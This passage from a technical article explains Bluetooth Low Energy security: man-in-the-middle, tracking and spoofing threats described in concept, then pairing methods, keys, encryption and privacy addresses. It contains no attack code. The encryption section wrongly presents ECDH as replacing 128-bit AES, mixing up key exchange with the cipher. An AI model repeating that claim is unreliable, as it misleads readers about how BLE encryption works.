In MITM, attacker secretly reads and interprets the messages from the sender and delivers the message to the reader after interpreting it. Since the attacker is actively involved in the communication between the devices, this attack is also known as active eavesdropping. During the course of attack, attacker may insert his own messages or corrupt the data before delivering it to the reader. Devices participating in the connection will assume that they are communicating with each other directly. But an intermediate MITM attacker has complete control over the communication of these devices. Public key cryptography can provide needed protection against MITM. But this method will fail, if an active MITM attacker listens to the shared public key during the initial pairing process and shares his own public Key instead of actual public key. A device which received the public key from attacker has no knowledge about the source of the key and hence it will encrypt and send the next message with the public key shared by the attacker. Now, the attacker can easily decrypt the messages and interpret it. Also, he may optionally decide to encrypt the message using the original public key and deliver to the initiator to keep the communication intact. Below figure-2 indicates how a hacker can attack the communication between two devices in MITM.

Figure 2 – MITM

Identity Tracking:

Bluetooth Low Energy 4.0 devices are designed for periodic advertisement of the status or its existence. Advertisement packet contains the MAC address of the broadcaster and unique service formation. It also contains information about the proximity of the device in terms of the signal strength. Using publicly available advertisement data and characteristics, attacker can extract large amount of information which may help him to track the devices based on these unique information.

Duplicate device:

An attacker with the knowledge of MAC address can make a dummy device with the same MAC address, which runs the dummy service. Such kind of attack is more dangerous in business and may lead to huge loss since customers will not be able to get the intended service.

4. Security architecture:

Security in Host:

Unlike classic Bluetooth, Bluetooth low energy sensors and devices implement the key management and security manager on host instead of controller. All the key generation and distributions of key are taken care by SMP running on host. This approach introduced by Bluetooth specification helps the host to be flexible and reduces the cost and complexity of LE-only controllers. Security manager:

Figure 3 – Security Manager

Bluetooth specification mandates a security manager in the protocol stack implementation. Security manger defines the authentication, pairing, encryption and signing between the Bluetooth low energy devices. This is responsible for all the security and privacy implementations of the BLE stack such as generation and storing various keys, generating random address and address resolution for the privacy feature. Security manager uses the services provided by the L2CAP layer to manage the security. Each device can generate its own key without any external influence and strength of the key is proportional to the algorithm implemented in the device

LE security modes:

Bluetooth Security requirements of the device and services are expressed in terms of security modes and security levels. Each service and device may have separate security requirement. A physical connection between two devices always operates in a single security mode. With wide adoption of 4.2 specifications, secure simple pairing methods have become de-facto requirement for the LE device to ensure security.

LE security mode 1:

Security level-1 and level-2 in these modes supports LE communication without security and encryption without pairing respectively. Level 3 and level 4 provides more security to the system than prior levels. LE secure connection (Level-4) introduced in Bluetooth SIG 4.2 specifications, brings in high security to the LE communication via Elliptic Curve Diffie-Hellman (ECDH) public key cryptography technique.

LE security mode 2:

Devices conform to security mode-2 supports both authenticated and unauthenticated pairing along with mandatory data signing. Data can be signed using various techniques including public key cryptography to ensure the data integrity and security.

Mixed Security mode:

For the devices which need both mode-1 and mode-2 security shall use mixed security mode. This enables the devices to use combination of multiple security modes such as data signing along with ECDH to provide enormous security to the smart devices.

Secure Connection Only mode:

When LE smart devices operates in secure connection only mode they shall use authenticated connection and pairing with encryption. Device shall only accept outgoing and incoming connections for services that use security mode-1, level 4. With this restriction, devices operating in this mode should use ECDH, introduced in 4.2 specifications.

5. Securing Bluetooth Smart: Pairing:

The association is done in three phases, which includes device capability exchange, LTK generation for secure Connection and transport specific key distribution. For legacy devices, STK is used instead of LTK.

Figure 4 – Pairing Process

Phase-1 (capability exchange):

The first step of pairing process is to exchange the identity and capability information to establish a trusted link between LE devices. Master initiates the pairing procedure by sending a pairing request to slaves. If security procedures are not initiated by the master, slave can request master for initiating it. Once the security requests are received by the slave, master re-initiates the pairing process.

Phase-2 (Secure Key Generation):

Selection of pairing method depends on capabilities exchanged in phase-1. Short Term Keys (STK) are generated based on selected pairing method such as just works, passkey entry and out of band. Generated secure key pairs (STK) will be used to establish a secure channel between the participating devices.

In legacy 2.0 standards, PIN based pairing method was introduced. In this method, users must enter the predefined 4-digit PIN code on both the devices. Devices will be paired on successful authentication of the PIN on both ends. These predefined PINs cannot be changed unless the next firmware upgrade. Since it is a fixed number, it is relatively easy for the hackers to interpret the messages and break the security of the system. Later in 2.1 specifications, Secure Simple Pairing (SSP) methods introduced to ensure both security and simplicity

Just Works:

In Just Work method, no key exchange between the devices and no user interaction required. This method is well suited if at-least one of the devices participating in the communication doesn’t have the user interface. This method provides no MITM protection.

Numeric comparison:

If both devices participating in the BLE connection have a display and at-least has Yes/No Key, then numeric comparison method can be used. A 6-digit randomly generated code will be displayed on each device. User need to press Yes/No after manually verifying the key’s displayed.

Pass Key Entry:

This method may be used for the devices with a display and other with the keypad or both devices with at-least numeric keypad. In first case, one device shows the 6-digit number and other receives the 6-digit input from user and in later case both devices receives 6-digit numeric input from the user. On successful authentication devices will be paired and provides MITM protection.

Out of Band:

Out of band pairing method is adopted by Bluetooth standards for the scenarios where both the devices participating in the communication have enabled out of band communication channel. All secret information’s and cryptographic keys will be exchanged out of the Bluetooth band. With the rapid growth of the NFC technology, NFC has become de-facto technology for Bluetooth OOB communications. Since NFC works at 13.56 MHz, Bluetooth sniffers on 2.4GHz bandwidth can’t listen to the information exchanged in the pairing process. Also, NFC is designed to operate over a very small distance up to 10cm, which makes it more suitable for security critical applications to avoid any MITM attacks.

Phase-3 (Transport Specific Key Distribution):

After STK generation and encrypting the links, transport specific keys are distributed. Keys to be distributed are determined by the parameters of pairing request and response. Keys exchanged in this phase may include LTK, IRK, the signature key etc.

Bonding:

Bonding is the process of creating the long term trusted relationship between the devices based on link key generated during pairing process. Long term key’s (LTK) are generated and stored on both the initiator and responder. These LTK’s must be used for all the subsequent communication between the same devices to ensure the data security.

Key Generation:

Host implements the necessary API’s on LE devices to generate the keys such as STK, LTK, IRK, CSRK etc. Unlike classic Bluetooth, controller is not involved any key generation methods in case of BLE. The host generates Private and Public key pair and secure connection will be created by taking the factors from both the devices participating creating the communication. Master and Slave exchanges Identity resolving Key (IRK) for device Identity and Connection Signature Resolving Key (CSRK) for Authentication of unencrypted data.

Encryption:

LE controller uses the keys generated by the host and encrypts the messages. Legacy controllers are designed to support to FIPS compliant 128-bit AES. Latest 4.2 LE specifications introduce Elliptic Curve Diffie-Hellman (ECDH) cryptography over earlier 128-bit AES. ECDH initially exchanges the keys over public insecure channel and then enables the secure channel communication between the devices participating in the process.

Signed Data:

BLE specification supports sending signed data over an unencrypted channel with trusted relationship. Even though devices are not paired, BLE devices can still maintain the privacy of data by signing it. The sender uses CSRK to sign the data and receiver verifies the signature. On successful verification of the signature, the receiver assumes that a message has arrived from a trusted source.

Privacy feature:

Devices are identified by a 48-bit MAC address compliant to IEEE. It is optional for the devices to implement either or both public address and private address. Public device address is broadcasted by the BLE device and hence increases the risk of security. Bluetooth devices provide the privacy feature to reduce the risk of device tracking based on identifier of the device. In legacy BLE systems, host implements the address generation and resolution. According to BLE 4.2 specification, private address generation and resolution are implemented in the controller. Privacy enabled devices are expected to support at-least one of the static device address or private address.

Static device address:

The static device address is randomly generated 48-bit address compliant to Bluetooth SIG specifications. Static address will be changed on every power cycle, and hence reduced the risk of tracking over power cycles. But the devices which are not power cycled for a long time may face higher security risk.

Private address:

Bluetooth SIG compliant private address is the recommended way of providing security to BLE devices. BLE specification supports resolvable private address and non-resolvable private address. Only requirement to have the non-resolvable private address is address shall not be equal to public address of the device. Non resolvable private addresses are typically used for beacons. To generate resolvable private address, devices needs to be paired, exchange the private address and IRK during the pairing process. Only paired devices can resolve this random address and thus possibilities of tracking the device over period of time is nullified. Private address is changed periodically based on a timer event and only a trusted device can resolve this address.

Directed advertising:

In directed advertising devices indicates both MAC address of the advertising device and MAC address of the devices it is advertising to. Advertiser invites the specific trusted device to re-connect, if required. Address used by the advertiser a special private address called as reconnect address. In legacy Bluetooth standards, reconnect address can be changed only based on user actions such as connect, disconnect, device power cycle etc. Latest 4.2 specifications supports timer based update of the reconnect address.

Authentication over proximity:

Received Signal Strength Indicator (RSSI) is the indication of beacon signal strength observed by the receiver. RSSI is a factor of transmitting power of broadcaster and the distance between broadcaster and receiver. As an additional safety measure for the BLE devices, signal strength monitor can be used to extract the distance between the broadcaster and the receiver and BLE devices with predefined range of RSSI only can be selected for communication. This method will reduce the risk of a being tracked or monitored or misleading by a hacker over a long distance. Since RSSI can vary greatly

depending on the usage conditions and environment, this method is specific to the usage conditions and deployment of the products.

Hidden MAC:

Bluetooth SIG introduced 4.2 standards with improved data exchange rate as well as security. Most of the major security features of the classic Bluetooth are adapted to Low Energy specifications. This specification hides the unique MAC address of the devices. Advertising LE devices need not broadcast their MAC address for identification purpose.

6. Conclusion

Compared to Legacy LE standards, 4.2 specifications introduce a new security model along with Secure Simple pairing. Security techniques like MAC address hiding, Elliptic Curve Diffie-Hellman based key exchange and LE secure connections ensures industry standards security for the LE device. Thus Bluetooth SIG 4.2 specifications ensured the smarter privacy approaches for the LE devices and now Bluetooth smart is more secure than ever.

7. References:

Original Post: https://www.design-reuse.com/articles/39779/security-considerations-for-bluetooth-smart-devices.html

Up ↑